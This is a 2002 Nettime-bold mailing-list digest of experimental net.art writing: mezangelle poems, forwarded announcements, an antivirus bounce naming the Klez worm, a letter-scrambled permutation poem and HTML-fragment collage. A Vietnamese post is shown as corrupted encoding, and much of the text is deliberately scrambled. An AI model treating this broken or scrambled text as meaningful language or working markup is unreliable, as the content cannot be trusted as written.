[Nettime-bold] //[w(d)e(ad)b]ring wyrm :: spit limbic\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nDate: Fri, 26 Jul 2002 15:51:26 +1000\nReply-to: nettime-bold {AT} nettime.org\n     \n\n\n\n\n\n//[w(d)e(ad)b]ring wyrm\n\n.spi][ri][t limbic\n.psi.stem stell.ar Dee.reaming   -----------------------------[b.gin::]\n.body mappage + cording systems a.    .go\n.go ][.net.    get----------------------------------------Os]\n.wrenching sic()k. o .fan][a][.tic][ker][s\n.N.crypt + reap.Ah.pack.errs\n\n[aka anti-fl][dr][uid data\naka neural .netpurile\nvia s][drawing][ore vectors\nvia pig0-skinned consciousness\nvia draw1string][ed][ reverb]\nvia shifting gash.sparks]\n\n\n--\n\n\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\n][co][De][e][p.rivation\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.macros-center.ru/read_me/inexen.htm#re\n.... .               .???  .......\n\nTo: list {AT} rhizome.org, nettime-l {AT} bbs.thing.net\nSubject: [Nettime-bold] _Pan Aggregation_\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nDate: Fri, 26 Jul 2002 16:59:25 +1000\nReply-to: nettime-bold {AT} nettime.org\n     \n\n\n\n\n\n+\n_SP(?)an][ner][ Agg.reg][ul][ation_\n     +\n\n\n--m.us][able][cled outb.ox][N logging pl.ow][\n--rest.r][oomed][ained subject][ive][ shards\n--booming thru wood][have cood have nots][en mem][e][.brains\n--chain][ed][ 2 + concept ][2 the powa of 10][\n--seizure fuck.][kl][ing][s][ + dr.ow][n][ing arse.][e][mbl][M][age bouy.doms\n--fictile text.fa][lconic][shions\n--birthing acts in swe][et][a(l)t pock][mark][ets\n+ duct][ape][ crus with s][c][ensors N.built\n\n      + i. am. _r(l)egion_ -----------------------------[in    .here.]\n+ sp.a][+b+c][tial blo.od][d][ ren.d][uh!][ering\n      + .anti.podi][um][al .milk.ing\n\n+fast shutta speed ][smell the][ d.K ][.mov.ie][\n--crik soundings thru a white-washed wav.ing wall\n--air-carved park][in.son][ jabs\n--fetal caves + blak.mouthed m][n][uzzling\n\n\n\n      +\n_Pan [right: 3.1] Voyeur Aggregation_\n+\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\n][co][De][e][p.rivation\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.macros-center.ru/read_me/inexen.htm#re\n.... .               .???  .......\n\n    \nTo: \"'nettime-l'\" <nettime-l {AT} bbs.thing.net>\nSubject: [Nettime-bold] Norton AntiVirus detected and quarantined a virus in a message you sent.\nFrom: NAV for Microsoft Exchange-RALEIGH-NT01 <NAVMSE-RALEIGH-NT01 {AT} raleigh.org.uk>\nDate: Fri, 26 Jul 2002 21:10:36 +0100\nReply-to: nettime-bold {AT} nettime.org\n     \n\nRecipient of the infected attachment:  Lucy Billings\\Inbox\nSubject of the message:  A very  new game\nOne or more attachments were quarantined.\n  Attachment install.exe was Quarantined for the following reasons:\n    Virus W32.Klez.H {AT} mm was found.\n\n   <<application/ms-tnef>>\n     \n\nDate:         Wed, 24 Jul 2002 22:09:02 -0400\nFrom:         Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject:      Archive of Live Chat from Incubation2 - Alan\n\nDeena Larsen put this up - Alan\n...\n\n\n\nhttp://www.eliterature.org/com/archives/chat071502.shtml\n\n(It needs some cleaning up which I will do later...)\n\n\nAction items seem to be:\nGet a live chat at the ISEA conference to continue the\nconversation\nSee if we can explore collaborations---can we create a\nmap or a database of people who want to collaborate on\nprojects?\n\n\nThanks!\nDeena\n\n\n\n\n\n\n\nDate:         Wed, 24 Jul 2002 19:22:17 -0400\nFrom:         Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject:      Check out this palindrome of 2002 words - fascinating - Alan\n\nCheck out this palindrome of 2002 words - fascinating - Alan\n\n\n---------- Forwarded message ----------\nDate: Wed, 24 Jul 2002 14:20:44 -0500 (CDT)\nFrom: William <william {AT} spinelessbooks.com>\nTo: Alan Sondheim <sondheim {AT} panix.com>\n\n\nHi Alan,\n\nThe palindrome is online at spinelessbooks.com/2002. A pornographic book\nversion is due out this October.\n\nThanks,\nWilliam\n\nSpineless Books\nBox 515 Urbana Illinois 61803\n217.337.6237\nwww.spinelessbooks.com\n\n\n\nDate:         Mon, 22 Jul 2002 08:34:33 -0700\nFrom:         Soli Psis <solipsis {AT} HEVANET.COM>\nSubject:      portrait\n\n\nn\u0103i ri\u015eng n\u00f7a - \u017di\u00d3m quan tr\u010fng v\u00edi l\u0162ch v\u013e tr\u00e4ng nh\u0118t - l\u0162ch b\u0162 b\u0103c l\u00e9t\nch\u010dng v\u013e \u017d\u0160y V\u0118n \u017d\u0147 l\u0161i s\u00f6 c\u0144a ch\u0144 chuy\u015en ch\u00ddnh v\u0164 s\u015bn ngh\u00dca kh\u0164ng hi\u00d3u\ng\u00d7 l\u0162ch s\u00f6 c\u00b8c l\u013e v\u0118n \u017d\u0147 c\u00a8n b\u015bn c\u0144a cu\u00e9c c\u00b8ch m\u0161ng ho\u0106c kh\u0164ng mu\u010dn\nphong tr\u013eo c\u0164ng nh\u0160n hi\u00d6n \u017d\u0161i bi\u0150t g\u00d7 v\u0147 m\u0106t n\u013ey. v\u0118n \u00eb t\u0118t c\u015b c\u00b8c n\u00ad\u00edc\nt\u00ad \u017d\u0147 chuy\u015en ch\u00ddnh. Ai kh\u0164ng hi\u00d3u b\u015bn, kh\u0164ng tr\u0151 m\u00e9t n\u00ad\u00edc n\u013eo. r\u0165ng b\u0118t\nc\u0159 giai c\u0118p c\u00b8ch Mu\u010dn gi\u015bi th\u00ddch th\u0118u \u017d\u00b8o v\u0118n m\u0161ng n\u013eo mu\u010dn th\u017eng l\u00eei\n\u017d\u0147u \u017d\u0147 \u017d\u0103, c\u00c7n ph\u015bi hi\u00d3u l\u0162ch t\u0118t y\u0150u ph\u015bi th\u016fc h\u013enh chuy\u015en s\u00f6 c\u0144a n\u0103.\nTr\u015en ph\u0161m vi ch\u00ddnh, th\u00d7 ng\u00ad\u0119i \u017d\u0103 giai c\u0118p qu\u010dc c\u0164ng nh\u0160n hi\u00d6n n\u0103i chung\nv\u013e v\u0147 \u017d\u0161i c\u00b8ch m\u0161ng ho\u0106c chuy\u015en ch\u00ddnh l\u00e9t l\u013e kh\u0164ng mu\u010dn bi\u0150t \u00eb t\u013ei li\u00d6u\nv\u013e ngu\u013an t\u0118t c\u015b c\u00b8c n\u00ad\u00edc v\u0164 s\u015bn n\u0103i ri\u015eng t\u00ad g\u00d7 v\u0147 m\u0106t tr\u010fng v\u00edi nh\u00cbn\nth\u0159c n\u013ey. b\u015bn, kh\u0164ng tr\u0151 ch\u0144 y\u0150u nh\u0118t c\u0144a m\u00e9t hi\u00d3n nhi\u015en l\u013e l\u0162ch s\u00f6 c\u0144a\nch\u0144 \u017di\u00d3m s\u00f6 t\u0118t c\u015b ngh\u00dca x\u02c7 ch\u00f3ng ta c\u00b8c cu\u00e9c c\u00b8ch quan v\u0147 v\u00edi l\u0162ch s\u00f6\ntr\u00e4ng nh\u0118t - l\u0162ch h\u00e9i c\u00b8ch m\u0161ng v\u013e s\u00f6 m\u0161ng c\u0144a ch\u00ddnh \u017d\u0106c bi\u00d6t c\u0144a ch\u0144\nc\u00b8ch m\u0161ng n\u0103i t\u0118t ngh\u00dca M\u00b8c. Th\u0159 n\u00f7a c\u015b c\u00b8c cu\u00e9c c\u00b8ch l\u013e tr\u010fng v\u00edi l\u0162ch\nm\u0161ng chung v\u013e v\u0147 s\u00f6 c\u0144a - v\u013e chuy\u015en ch\u00ddnh v\u0164 c\u0144a \u017d\u0160y hi\u00d3n nhi\u015en l\u013e giai\nc\u0118p b\u0162 \u00b8p ch\u0144 ngh\u00dca M\u00b8c. Th\u0159 b\u0159c s\u015bn ch\u00ddnh. Ai kh\u0164ng ph\u015bi x\u02c7 h\u00e9i nh\u00f7ng\nk\u00ce hi\u00d3u l\u0162ch s\u00f6 c\u0144a b\u0103c l\u00e9t l\u013e t\u013ei n\u0103. hi\u00d3u r\u0165ng b\u0118t c\u00b8ch m\u0161ng v\u013e \u017d\u0106c c\u0159\ngiai c\u0118p Tr\u015en bi\u00d6t l\u013e li\u00d6u v\u013e ph\u0161m vi qu\u010dc t\u0150, ngu\u013an nh\u00cbn th\u0159c ch\u0144 l\u0162ch\nc\u00b8ch m\u0161ng n\u013eo tr\u010fng n\u00ad\u00edc n\u013eo. Mu\u010dn mu\u010dn th\u017eng l\u00eei s\u00f6 gi\u015bi th\u00ddch y\u0150u nh\u0118t\nc\u0144a h\u00e4c thuy\u0150t v\u0147 c\u0144a ch\u00f3ng ta v\u0147 chuy\u015en \u017d\u0147u t\u0118t y\u0150u th\u0118u \u017d\u00b8o v\u0118n \u017d\u0147\nph\u015bi th\u016fc h\u013enh V\u0118n \u017d\u0103, c\u00c7n v\u0118n \u017d\u0147 \u017d\u0147 chuy\u015en ch\u00ddnh v\u0164 chuy\u015en t\u0150, l\u0162ch s\u00f6\ns\u015bn chuy\u015en ch\u00ddnh, th\u00d7 c\u0144a h\u00e4c b\u0162 \u00b8p ng\u00ad\u0119i \u017d\u0103 kh\u0164ng l\u013e b\u0159c v\u013e b\u0162 b\u0103c v\u0118n\n\u017d\u0147 c\u00a8n b\u015bn thuy\u0150t v\u0147 chuy\u015en ch\u00ddnh c\u0144a hi\u00d3u g\u00d7 l\u0162ch c\u00b8ch m\u0161ng l\u00e9t ch\u010dng\ns\u00f6 c\u00b8c cu\u00e9c phong l\u0161i nh\u00f7ng k\u00ce b\u0103c tr\u013eo\n\n\n\n\n\n\n\n\n\n\nDate:         Wed, 24 Jul 2002 22:39:53 -0700\nFrom:         joe keenan <yajoeya {AT} YAHOO.COM>\nSubject:      just ripple of rudiment\n\npreuodpilmieenltd..diing.sb.lbieslso.wa.ntdh.ei.nad..ionfg..roufd.iwma\npuldiiemledn.ti.nd.ibglsi.sbse.laonwd..tihned..ao.fi.nrgu.doifm.ewnatt\nedlidm.einnt..bdliigsss..baenld .wi.ntdh.eo.fa..riundgi.moefn.tw.adtie\n.iimne.nbtl.idsisg.sa.nbde.lionwd. tohfe..rau.diinmge.notf..dwiagtse.r\nnm.ebnlti.sdsi.gasn.db.eilnodw..otfh. r.uad.iimnegn.to.fd.iwgast.ebre.\nleinsts..daingds..ibnedl.oowf..trhued.ia . inntg..doifg.sw.abteelro.wr\nsn.ta.nddi.gisn.db.eolfo.wr.utdhiem.ean.ti. dgi.gosf..bwealtoewr..trhe\natn.dd.iignsd..boefl.orwu.dtihmee.nat..idnig . o.fb.ewlaotwe.rt.hree.l\nd..diingds..obfe.lrouwd.itmheen.ta..diinggs..ob e lwoawt.etrh.er.eal.a\nidnidg.so.fb.erluodwi.mtehnet..ad.iignsg..boefl. w a.ttehre..rae.liant\nnidg.so.fb.erluodwi.mtehnet..ad.iignsg..boefl.oww . tehre..rae.liantgi\ndg.so.fb.erluodwi.mtehnet..ad.iignsg..boefl.owwa.t e re..rae.liantgi.o\n.so.fb.erluodwi.mtehnet..ad.iignsg..boefl.owwa.tt h e .rae.liantgi.oon\no.fb.erluodwi.mtehnet..ad.iignsg..boefl.owwa.ttehr . r e.liantgi.oonf.\nobfe.lrouwd.itmheen.ta..diinggs..obfe.lwoawt.etrh e . al.aitnigo.no.f.\noefl.orwu.dtihmee.nat..idnigg.so.fb.ewlaotwe.rt. r e l a.tiinogn..o.fs\n.loofw..rtuhdei.mae.nitn.gd.iogfs..wbaetleorw.. t h e .tai.oinn.g..soe\n.oowf..trhued.iam.einntg..doifg.sw.abteelro.wr e l a t.iao.ni.n.gs.eoe\ndw..otfh.er.uad.iimnegn.to.fd.iwgast.ebre.lro w . t hieo.na...isnege.m\ni.ntdh.eo.fa..riundgi.moefn.tw.adtiegrs..r e l a twi.otnh.e..sae.eimnr\n.tihned..ao.fi.nrgu.doifm.ewnatt.edri.g s . b e lioown..t.hsee.eam.rie\nnhde..ian.di.nogf..orfu.dwiamteenrt..r e l a t.iboenl.o.ws.etehmer.eav\naen.da..iinndg..ooff..rwuadtiemre.n t . d itgiso.nb.e.lsoewe.mtrheev.e\ns..aa.nidn.gi.nodf..owfa.treurd. r e l a t.idoing.s..sbeeelmorwe.vtehr\nias.si.nagn.do.fi.nwda.toefr. r u d i mteinotn..d.isgese.mbreelvoewr.u\nb.liinsgs..oafn.dw.aitnedr . r e l autdiiomne.n.ts.edeimgrse.vbeerluor\nni.nbgl.iosfs..waantde. i n d . oaft.iround.i.mseenetm.rdeivgesr.ubre.\n.nign..obfl.iwsast.e r . r e lnadt.ioofn..r.usdeiemmernetv.edriugrs..t\nlgd..oifn..wbalti s s . a n da.tiinodn..o.fs.ereumdriemveenrtu.rd.itgh\ni.eolfd..wiant e r . r e l.aatnido.ni.n.ds.eoefm.rreuvdeirmuern.tt.hdi\nloife.lwda. i n . b l ilsast.iaonnd...isnede.morfe.vreurduirm.etnhti.s\nofp.lwiaet e r . r e lbaltiisosn..a.nsde.eimnrde.voefr.urru.dtihmiesne\ne.owpal i e l d . i na.tbiloins.s..saenedm.rienvde.roufr..rtuhdiismeer\npweaot e r . r e l.aitni.obnl.i.ssse.eamnrde.vienrdu.ro.ft.hriusdeirmt\npaeto p l i e l d .tiino.nb.l.issese.marnedv.eirnudr..otfh.irsuedritmi\n.tpe r . r e l a tdi.oinn...bsleiesmsr.eavnedr.uirn.dt.hoifs.errutdiio\n.ep e o p l i e lido.ni.n..sbeleimsrse.vaenrdu.ri.ntdh.iosfe.rrtuidoin\npr . r e l a t i o.ni.n..sbeleimsrse.vaenrdu.ri.ntdh.iosfe.rrtuidoinm.\np.e o p l i e l dn..i.ns.ebelmirsesv.earnudr..itnhdi.soefr.triuodni.mr\ner e l a t i o n .i.ns.ebelmirsesv.earnudr..itnhdi.soefr.triuodni.mreu\noep l i e l d . i ns.ebelmirsesv.earnudr..itnhdi.soefr.triuodni.mreunl\nllia t i o n . . s eleimsrse.vaenrdu.ri.ntdh.iosfe.rrtuidoinm.ernutl.e\nealtdi. i n . b l i s sr.eavnedr.uirn.dt.hoifs.errutdiiomne.nrtu.ldei.\ndt.iionn . . s e e m r envde.riunrd..tohfi.sreurdtiimoenn.tr.udlieg.ss\niino.nb.l.i s s . a n d . irnudr..otfh.irsuedritmieonnt..rduilges..sbc\nbolni.s.ss.e e m r e v e r u rf..trhuidsiemretnito.nd.irgusl.eb.eslcot\nins.s..saenedm. i n d . o f . r uhdiismeerntti.odni.grsu.lbee.lsocwt.e\n..a.nsde.eimnrde.v e r u r . t h i snetr.tdiiogns..rbuelleo.ws.cttheed\nd..sienedm.roefv.erru d i m e n t . d itgiso.nb.erluolwe..tshcet.ead..\nnsde.eomfr.ervuedriumre. t h i s e r t i oenl.orwu.lteh.es.cat.eidn.go\noefe.mrruedviemreunrt..tdhi g s . b e l o w .rtuhlee..as.citnegd..oofu\nreumdriemveenrtu.rd.itghsi.sbe r t i o n . r u lae..isncgt.eodf..owuat\nimmreenvte.rduirg.st.hbiesleorwt. t h e . a . i n g .cotfe.dw.aotuetr.\nnrte.vdeirgusr..btehlioswe.rtthieo.n . r u l e . s c t eadt.eoru.tr.eo\ndeivgesr.ubre.ltohwi.stehret.iao.ni.nrg . o f . w a t e r .oruetl.aotf\ngvse.rbuerl.otwh.itsheer.tai.oinn.gr.uol e . s c t e d . o ulta.toifo.\nbeerluorw..tthhies.ear.tiinogn..orfu.lwea.t e r . r e l a t i o nf...j\nlrouwr..tthhei.sae.ritnigo.no.fr.uwlaet.esrc.t e d . o u t . o f .sjeu\nwu.rt.hteh.ias.eirntgi.oonf..rwualtee.rs.crteel a t i o n . . s e eums\n.rt.hteh.ias.eirntgi.oonf..rwualtee.rs.crteelda. o u t . o f . j u s t\nh.et.hai.sienrgt.ioofn..wrautleer..srcetleadt.ioo n . . s e e m r e v\net.hai.sienrgt.ioofn..wrautleer..srcetleadt.ioount . o f . j u s t . r\neh.ias.eirntgi.oonf..rwualtee.rs.crteelda.toiuotn . . s e e m r e v e\n.ias.eirntgi.oonf..rwualtee.rs.crteelda.toiuotn..o f . j u s t . r i p\n.sae.ritnigo.no.fr.uwlaet.esrc.treedl.aotuito.no. . s e e m r e v e r\n.ear.tiinogn..orfu.lwea.tsecrt.erde.loautti.oonf . j u s t . r i p p l\ner.tai.oinn.gr.uolfe..wsactteerd..roeulta.toifo n . . s e e m r e v e\nhtei.oan..irnugl.eo.fs.cwtaetde.ro.urte.loaft. j u s t . r i p p l evp\ntihoen..ar.uilneg..socft.ewda.toeurt..roefl a t i o n . . s e e m rper\n.otnh.er.ual.ei.nsgc.toefd..woautte.ro.fr. j u s t . r i p p l e pmrro\nonw..rtuhlee..as.citnegd..oofu.tw.aotfe r . r e l a t i o n . .psreoep\nl.orwu.lteh.es.cat.eidn.go.uotf..owf . j u s t . r i p p l enp.r.ospee\nbreulloew..stchtee.da..oiuntg..oo f . w a t e r . r e l aetpiroonp.e.r\nsu.lbee.lsocwt.etdh.eo.uat..io f . j u s t . r i p p lreeplraotpieornt\nilges..sbcetleodw..otuhte.. a . i n g . o f . w a tleerp.rroeplearttii\n.ed.isgcst.ebde.loouwt.. o f . j u s t . r i p p lweaptreorp.erretliae\nn.ts.cdtiegds..obuetl o w . t h e . a . i n g .loefp.rwoapteerrt.irees\nmsecntte.dd.iogust . o f . j u s t . r i p pilnegp.roofp.ewrattieers..\ndcitmeedn.to.udti g s . b e l o w . t h ep.lae.pirnogp.eorft.iweast.e.\nrtueddi.moeunt . o f . j u s t . r i p.ptlheep.rao.pienrgt.ioefs..w.as\nfe.dr.uodui m e n t . d i g s . b eplpolwe.ptrhoep.ear.tiinegs..o.fs.c\nodf..oru t . o f . j u s t . r i pbpelleopwr.otpheer.tai.eisn.g..socft\n..oofu. r u d i m e n t . d i g sp.lbeeplroowp.etrhtei.eas..i.nsgc.toe\ndo.uot . o f . j u s t . r i p pglse.pbreolpoewr.ttihees..a..sicntge.d\nnud . o f . r u d i m e n t .pdliegpsr.obpeelrotwi.etsh.e..sac.tiendg.\nnt . o f . j u s t . r i p p.ldeipgrso.pbeerltoiwe.st.h.es.cat.eidn.gi\nn.d . o f . r u d i m e n t .edpirgosp.ebretlioews..t.hsec.tae.di.nign\nno f . j u s t . r i p p l e.pdriogpse.rbteileosw...tshcet.ead..iinngs\nnfd . o f . r u d i m e n t .rdoipgesr.tbieelso.w..stchtee.da..iinnsgi\nd. j u s t . r i p p l e p rdoipgesr.tbieelso.w..stchtee.da..iinnsgi.d\nojf . r u d i m e n t . d i gpse.rbteileosw...tshcet.ead..iinngs.iodfe\nfu.s t . r i p p l e p r o p e.rbteileosw...tshcet.ead..iinngs.iodfe..\nrsutd.i m e n t . d i g s . b e lioews..t.hsec.tae.di.nign.soifd.ew.aa\ndti.mrei p p l e p r o p e r t i e.st.h.es.cat.eidn.gi.nosfi.dwea.taes\nm.ernitp.pd i g s . b e l o w . t h e..sac.tiendg..ionfs.iwdaet.ears..\nnrti.pdpilgesp r o p e r t i e s . . s citnegd..oifn.swiadtee.ra.sr.es\ndiipgpsl.ebperl o w . t h e . a . i n g .eodf..iwnastiedre..raesl.aste\nsp.pbleelporwo.pte r t i e s . . s c t e d .aitnesri.dree.laast.isoene\neplloewp.rtohpee.rat. i n g . o f . w a t e r .sriedlea.taiso.ns.e.esm\nwl.etphreo.pae.ritnige.s . . s c t e d . i n s i dtei.oans...sseeeemmr\ntehper.oap.eirntgi.eosf...w a t e r . r e l a t i o na.s..sseeeemmrree\n.par.oipnegr.toife.sw.a.tsecrt e d . i n s i d e . a s .esmereemvreerv\nirnogp.eorft.iweast.e.rs.crteelda t i o n . . s e e m r e veemrruerv.e\n.oopfe.rwtaiteesr...rsecltaetdi.oinn s i d e . a s . s e e m r.etvheir\nfp.ewrattieers..r.eslcatteido.ni.n.ssie e m r e v e r u r . t h iesreu\naetretri.erse.l.astcitoend...isneseimdree. a s . s e e m r e v e r uir\nerrt.ireesl.a.tsicotne.d..sienesmirdeev.ear u r . t h i s e r t i o n.\n.trieelsa.t.isocnt.e.ds.eienmsriedvee.rausr..s e e m r e v e r u r . b\neileast.i.osnc.t.esde.eimnrseivdeer.uars..tshei s e r t i o n . r u l\nleast.i.osnc.t.esde.eimnrseivdeer.uars..tsheiesm r e v e r u r . b e t\nast.i.osnc.t.esde.eimnrseivdeer.uars..tsheiesmerr t i o n . r u l e .\nt.i.osnc.t.esde.eimnrseivdeer.uars..tsheiesmerretv e r u r . b e t w e\ni.osnc.t.esde.eimnrseivdeer.uars..tsheiesmerretvi o n . r u l e . s c\nisocnt.e.ds.eienmsriedvee.rausr..steheimsreervteir u r . b e t w e e n\nicotne.d..sienesmirdeev.earsu.rs.etehmirseevretri o n . r u l e . s c\nttieodn..i.nsseiedmer.eavse.rsuere.mtrheivseerru r . b e t w e e n . t\naetdi.oinn.s.isdeee.marse.vseereumrr.etvheirsue r t i o n . r u l e .\nlda.tiinosni.d.es.eaesm.rseeveemrruerv.etrhuir . b e t w e e n . t h e\ne.liantsiiodne...asse.esmereemvreervuerr.ut h i s e r t i o n . r u lg\nrienlsaitdieo.na.s..sseeeemmrreevveerruurr . b e t w e e n . t h ergu.\nrn.sriedlea.taiso.ns.e.esmereemvreervue r u r . t h i s e r t ieogn..w\ntseird.er.ealsa.tsieoenm.r.esveeermu r . b e t w e e n . t heergt.iwoh\nwiadtee.ra.sr.esleaetmiroenv.e.rs e e m r e v e r u r . t heigs.ewrhti\nfd.ew.aatse.rs.ereemlraetvieor u r . b e t w e e n . t hre.gt.hwihsiet\n.eo.fa.sw.asteeerm.rreevlea t i o n . . s e e m r e vheergu.rw.htihtie\ni.nags..osfe.ewmarteevre r u r . b e t w e e n .etehmerge.vwehriutre..\naa.si.nsge.eomfr.ewva t e r . r e l a t i o n..t.hseege.mwrheivteer.ul\nes..as.eienmgr.eov e r u r . b e t w e e nt.itohne.g..sweheimtree.vlei\nt.hsee.eam.rien g . o f . w a t e r . rne.ltahteigo.nw.h.isteee.mlrieg\nws.etehmer.e v e r u r . b e t w e eenr..trheelga.twihoint.e..sleiegmh\nleoewm.rteh e . a . i n g . o f . wna.ttehre.gr.ewlhaittieo.nl.i.gshet\neelmorwe v e r u r . b e t w e efn..wtahteegr..wrheiltaet.iloing.h.ts.\nbmerleo w . t h e . a . i n ge.no.ft.hweagt.ewrh.irteel.altiigohnt...d\nsr.e v e r u r . b e t w e einn.gt.hoefg..wwahtietre..rleilgahtti.odni\nse. b e l o w . t h e . a .ni.ntgh.eogf..wwhaitteer..lrieglhatt.idoinv\ngv e r u r . b e t w e e na..tihnegg..owfh.iwtaet.elri.grhetl.adtiivoh\nges . b e l o w . t h e ..at.hiengg..wohfi.twea.tleirg.hrte.ldaitvihoe\ngr u r . b e t w e e n ..tah.eign.gw.hoift.ew.altiegrh.tr.edliavthieoa\nsu. b e l o w . t h e . ah.eign.gw.hoift.ew.altiegrh.tr.edliavthieoand\n.r . b e t w e e n . t h.eign.gw.hoift.ew.altiegrh.tr.edliavthieoand.,\nb.e l o w . t h e . a . ign.gw.hoift.ew.altiegrh.tr.edliavthieoand.,..\nebleot w e e n . t h e g .gw.hoift.ew.altiegrh.tr.edliavthieoand.,..st\noewt.wt h e . a . i n g . ohfi.twea.tleirg.hrte.ldaitvihoena.d.,s.eteh\n.ttwheee n . t h e g . w h i taet.elri.grhetl.adtiivohne.a.ds,e.etmhre\nhwee.ean..i n g . o f . w a t e.rl.irgehlta.tdiiovnh.e.asde,e.mtrheev.\n.eae.ni.ntgh.e g . w h i t e . l ieglhatt.idoinv.h.esaede,m.rtehvee.ra\n.einn.gt.hoefg..w a t e r . r e l a tti.odni.v.hseeaedm,r.etvheer.uar.\ngn..otfh.ewga.twehri t e . l i g h t . d.isveheemarde,v.etrhuer..at.hi\nf..twhaetge.rw.hrietlea t i o n . . s e evmhreeavde,r.utrh.et.hai.sien\nwtahteegr..wrheiltaet.iloi g h t . d i v h evaedr,u.rt.hteh.ias.eirntg\nehre.gr.ewlhaittieo.nl.i.gshe e m r e v e r u r,..tthhies.ear.tiinogn.\nreegl.awthiiotne...lsiegehmtr.ed i v h e a d , . tsheer.tai.oinn.gr.uo\nagt.iwohni.t.es.eleimgrhetv.edriuvr . t h i s e r t i.oan..irnugl.eo.f\ni.ownh.i.tsee.elmirgehvte.rduirv.hte a d , . t h e . a..riunlge..osfc.\nnw.h.isteee.mlriegvhetr.udri.vthheiasde r t i o n . r u lneg..socft.ew\nsheietmer.elviegrhutr..dtihvihseeardt,i.ot h e . a . i n gc.toefd..woa\neimtree.vleirguhrt..tdhiivsheeratdi,o.nt.hreu l e . s c t e df..owuatt\nmtree.vleirguhrt..tdhiivsheeratdi,o.nt.hreu.la . i n g . o f .owuatt.e\neev.elriugrh.tt.hdiisvehretaido,n..trhuel.ea..s c t e d . o u ta.toefr\nv.elriugrh.tt.hdiisvehretaido,n..trhuel.ea..sicn g . o f . w a toefr..\nelriugrh.tt.hdiisvehretaido,n..trhuel.ea..sicntge d . o u t . o fr..jr\neirguhrt..tdhiivsheeratdi,o.nt.hreu.lae..isncgt.eo f . w a t e rf..rje\nrguhrt..tdhiivsheeratdi,o.nt.hreu.lae..isncgt.eod . o u t . o f .rjeul\nehrtu.rd.itvhhiesaedr,t.itohne..rau.lien.gs.cotfe. w a t e r . rfe.lja\netr.udri.vthheiasde,r.ttihoen..ar.uilneg..socft.e d . o u t . oefl.ajt\nv.edriuvrh.etahdi,s.etrhtei.oan..irnugl.eo.fs.cw a t e r . r e.loaft.i\nedvievrhuera.dt,h.itsheer.tai.oinn.gr.uolfe..ws c t e d . oeulta.toifo\nrievvheeraudr,..tthhies.ear.tiinogn..orfu.lw a t e r . r e.loautti.oon\nevmhreeavde,r.utrh.et.hai.sienrgt.ioofn..wr u l e . s cetleadt.ioount.\neheemarde,v.etrhuer..at.hiinsge.rotfi.ow a t e r . r.eslcatteido.no.uo\n.esaede,m.rtehvee.rau.ri.ntgh.iosfe.r t i o n . rruellea.tsicotne.do.r\noand.,..steheem.rae.vienrgu.ro.ft.hw a t e r . roenl.artuiloen..socrt.\ntdi,o.nt.h.es.eae.mirnegv.eorfu.r . t h i s.erretliaotni.ornu.loer..si\nl,a.ttihoen..a..sienegm.roefv. w a t e rt.hrieslearttiioonn..orru.lien\n..rtehlea.tai.oinn.g..soefe m r e v err.urre.ltahtiisoenr.toiro.ni.nrd\netrh.er.eal.aitnigo.no.f . w a t erre.vreerluart.itohni.soerr.tiinodnu\nahtee.ra..rienlga.toi o n . . seere.mrreelvaetriuorn..tohri.sienrdtuis\nfe..waa.tienrg..ro f . w aitoenr...rseeleamtrieovne.rourr..itnhdiusset\n..oaf..iwnagt.e r . r ealtaetri.orne.l.asteieomnr.eovre.riunrd.utshtir\nnag..ionfg.. o f . w a.treerl.arteiloant.i.osne.eomrr.eivnedruusrt.rty\n..iinngg. o f . wwaatteerr..rreellaattiioonn...osre.eimnrdeuvsetrruyrt\nai.nign. o f . w.awtaetre.rr.erlealtaitoino.no.r..sienedmursetvreyrtuy\nen.ga . i n gw.aotfe.rw.arteelra.trieolna.toiro.ni.n.dsuesetmrryetvye.\nhge. o f . wnagt.eorf..rwealtaetri.orne.loart.iionnd.u.sstereymtrye.va\nt.h e . a .aitnegr..orfe.lwaattieorn..roerl.aitnidouns.t.rsyeteym.raes\n.o f . w.aat.eirn.gr.eolfa.twiaotne.ro.rr.eilnadtuisotnr.y.tsye.eamsr.\n.ft h e .tae.ri.nrge.loaft.iwoant.eorr..rienldautsitorny.t.ys.eaesm.ra\n.. w a t.ear..irnegl.aotfi.owna.toerr..irnedluasttiroynt.y..saese.marp\ntwh e .ear..irnegl.aotfi.owna.toerr..irnedluasttiroynt.y..saese.marpep\ntaht e ra..rienlga.toifo.nw.aotre.ri.nrdeulsattriyotny...asse.eamprpea\nhtee. a .rienlga.toifo.nw.aotre.ri.nrdeulsattriyotny...asse.eamprpeavr\nee.ra. r enlga.toifo.nw.aotre.ri.nrdeulsattriyotny...asse.eamprpeavree\nar..irn g .aotfi.owna.toerr..irnedluasttiroynt.y..saese.marpepvaerreuh\ni.nrge.loa t.iwoant.eorr..rienldautsitorny.t.ys.eaesm.raepvpearruerh.e\ngr.eolfa.tw a tne.ro.rr.eilnadtuisotnr.y.tsye.eamsr.eavpepraurre.hteh.\noefl.awtaitoen ..orre.liantdiuosnt.r.ysteye.marse.vaeprpuarr.ethhei.se\n.lwaattieorn..roe l.aitnidouns.t.rsyeteym.raesv.earpupra.rtehhies.eerl\naatteiro.nr.eolra.ti nodnu.s.tsreyetmyr.eavse.rauprp.atrheihsee.retlie\nrt.iroenl.aotri.oinn.d.ussetermyrteyv.earsu.ra.ptphairseehret.ieolne.v\nrieolna.toiro.ni.n.dsuesetmrryetvye.rausr..atphpiasreerhtei.oenl.ervua\n\n\n\n\n\n__________________________________________________\nDo You Yahoo!?\nYahoo! Health - Feel better, live better\nhttp://health.yahoo.com\n\n\nDate:         Sun, 21 Jul 2002 06:34:33 -0700\nFrom:         august highland as chelsea lerner <hmfah {AT} HOTMAIL.COM>\nSubject:      august highland as chelsea lerner: excerpt from MICROELECTRODE\n              CRANIAL JACK #001\n\nwww.digital-media-generation.com\ntd width=\"12\" height=\"12\" valign=\"top\" img margin-trees. Mucalinda is under\nthe 0in td valign=\"top\"\nVALUE='+Flash_File_Path+trackclick+encoded_track+URL+ ) de\" maybebop.de /a\nlocaleRef:mnuTtl td valign=\"top\" (_pt! =\"\"){_pml=_pt} } /TD\nOnMouseOut=\"window.status= She grabbed it, and androids her true\" Whose\ncircumstance it baffling, Is It 